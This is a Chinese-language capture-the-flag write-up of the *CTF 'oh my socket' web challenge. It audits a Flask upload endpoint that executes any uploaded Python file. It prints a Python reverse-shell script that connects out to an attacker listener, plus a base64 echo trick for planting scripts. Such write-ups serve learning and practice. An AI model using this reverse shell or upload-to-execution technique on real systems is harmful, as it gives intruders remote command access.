XCTF/*CTF web4

上周末刚结束了*ctf的比赛,又摸鱼了。。赛后看雪宝的wp复现出来的,发现是socket写的有点问题 搞到夜里三点也没搞出来 wtcl

oh my socket

题目分析:

直接给了一堆docker 先跑起来看看是什么

docker-compose up -d

跑起来了三个容器 分别是 server client webserver

先整理下网络环境情况:

webserver 172.21.0.4

server 172.21.0.2

client 172.21.0.3

首先访问webserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, render_template, request
from subprocess import STDOUT, check_output
import os

app = Flask(__name__)


@app.route('/')
def index():
return open(__file__).read()


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
f = request.files['file']
f.save(os.path.join(f.filename))

try:
output = check_output(['python3', f.filename], stderr=STDOUT, timeout=80)
content = output.decode()

except Exception as e:
content = e.__str__()

os.system(' '.join(['rm', f.filename]))
return content


if __name__ == '__main__':
app.run(port=5000, host='0.0.0.0')

通过对源码进行审计 发现上传文件后会执行文件里面的内容,于是尝试反弹shell,上传如下脚本:

这里请注意理解该段代码的作用,和bash -i那个的原理相似,都是将std out std in std err重定向至socket。

详细的分析链接放在了最后面

1
2
3
4
5
6
7
8
import socket,subprocess,os 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

本地监听搞起来,然后上传,得到反弹过来的shell

下面审计server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from socket import *
from time import ctime
import time


HOST = '172.21.0.2'
PORT = 21587
BUFSIZ = 1024
ADDR = (HOST, PORT)

tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

cnt = 0
while True:
print('waiting for connection...')
tcpCliSock, addr = tcpSerSock.accept()
cnt += 1
print('...connnecting from:', addr)

try:
while True:
data = tcpCliSock.recv(BUFSIZ)

if not data:
break
if data == b'*ctf':
content = open('oh-some-funny-code').read()
tcpCliSock.send((content.encode()))

else:
tcpCliSock.send(('[%s] %s' % (ctime(), data)).encode())
except Exception as e:
pass

if cnt >= 2:
time.sleep(120)
tcpSerSock.close()
exit(0)

tcpSerSock.close()

得到flag的条件是发送的数据为b’*ctf’

发现这个socket写的有些问题,连接大于2时就断开了,所以需要尝试自己写个socket连进去,防止别人在连,要一直循环。

于是得到如下client的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from socket import *
HOST='172.25.0.2'
PORT=21587
BUFSIZ=1024
ADDR=(HOST,PORT)
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
while True:
data=b'*ctf'
if not data:
break

tcpCliSock.send(data)
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
print(data)
tcpCliSock.close()

但是有个问题,题目的服务器每两分钟重启一次,拿到shell后再装vim什么的太慢了,于是将脚本base64编码,

echo base64_encoded_script | base64 -d >1.py

以这种方式将脚本内容上传至webserver,python3 1.py执行即可。

我认为client.py 和client的容器是起迷惑作用 或者说是模拟别人在向server发送请求,所以在本地模拟时把client容器down掉就可以了。

为了验证这里一理论,我在题目的在线环境中通过webserver打到client服务器进行了LFI,发现并没有client.py,我认为上述说法成立。

总结

当前还有个问题就是不知道是哪句话实现了删除文件前执行了文件里的内容。

参考链接:

雪宝wp

https://blog.csdn.net/weixin_30526593/article/details/98650248